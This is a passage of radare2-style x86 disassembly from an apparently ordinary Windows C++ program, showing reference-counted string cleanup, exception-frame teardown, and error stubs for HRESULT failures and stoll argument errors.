lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x71
call fcn.0042f750
test al, al
jne 0x40c294
push 0
push 0x5911fc
lea ecx, [ebp - 0x28]
call fcn.0042fa90
mov byte [ebp - 4], 0x72
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c897
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x5911fc
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x73
call fcn.0042f750
test al, al
jne 0x40c2d8
push 0
push 0x5911fc
lea ecx, [ebp - 0x18]
call fcn.0042fa90
mov byte [ebp - 4], 0x74
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c8a1
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x5911fc
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x75
call fcn.0042f750
test al, al
jne 0x40c31c
push 0
push 0x5911fc
lea ecx, [ebp - 0x20]
call fcn.0042fa90
push ecx
mov byte [ebp - 4], 0x76
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x9c]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.00445a80
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x77
mov dword [ebp - 0x14], esp
mov edi, dword [ebp - 0x50]
lea ecx, [edi - 0x10]
call fcn.0042ee10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x24]
call fcn.00445a80
add esp, 4
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x78
mov edx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x20]
push ecx
mov ecx, eax
call fcn.00454c90
mov edx, dword [ebp - 0x24]
add esp, 0xc
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c3a0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c3bb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c3d6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x18]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c3f1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c40c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x84]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c42a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x74]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c445
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x88]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c463
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x68]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c47e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x6c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c499
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x12c]
cmp ecx, 8
jb 0x40c4d9
mov edx, dword [ebp - 0x140]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c4cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c8ab
push ecx
push edx
call fcn.00549ad4
add esp, 8
mov ecx, dword [ebp - 0x144]
cmp ecx, 8
jb 0x40c519
mov edx, dword [ebp - 0x158]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c50f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c8ab
push ecx
push edx
call fcn.00549ad4
add esp, 8
mov ecx, dword [ebp - 0x15c]
cmp ecx, 8
jb 0x40c559
mov edx, dword [ebp - 0x170]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c54f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c8ab
push ecx
push edx
call fcn.00549ad4
add esp, 8
mov edx, dword [ebp - 0xb8]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c574
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xbc]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c58f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c5a9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xa4]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c5c6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xa0]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c5e3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x174]
cmp ecx, 8
jb 0x40c623
mov edx, dword [ebp - 0x188]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c619
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c8ab
push ecx
push edx
call fcn.00549ad4
add esp, 8
mov ecx, dword [ebp - 0x114]
cmp ecx, 8
jb 0x40c663
mov edx, dword [ebp - 0x128]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c659
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c8ab
push ecx
push edx
call fcn.00549ad4
add esp, 8
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c680
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x70]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c69a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x9c]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c6b7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x94]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c6d4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x98]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c6f1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x40c706
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 5
call fcn.0053296f
call fcn.00426950
push str.stoll_argument_out_of_range
call fcn.00532859
push str.invalid_stoll_argument
call fcn.00532819
call fcn.0042f9a0
push 0x80070057
call fcn.0042fa70
dec eax
push 6
mov dword [edi + 0x2c], eax
call fcn.0053296f
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
call fcn.0054eb75
push 6
mov dword [ebp - 0x8c], 0
call fcn.0053296f
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
call fcn.0054e9bf
int3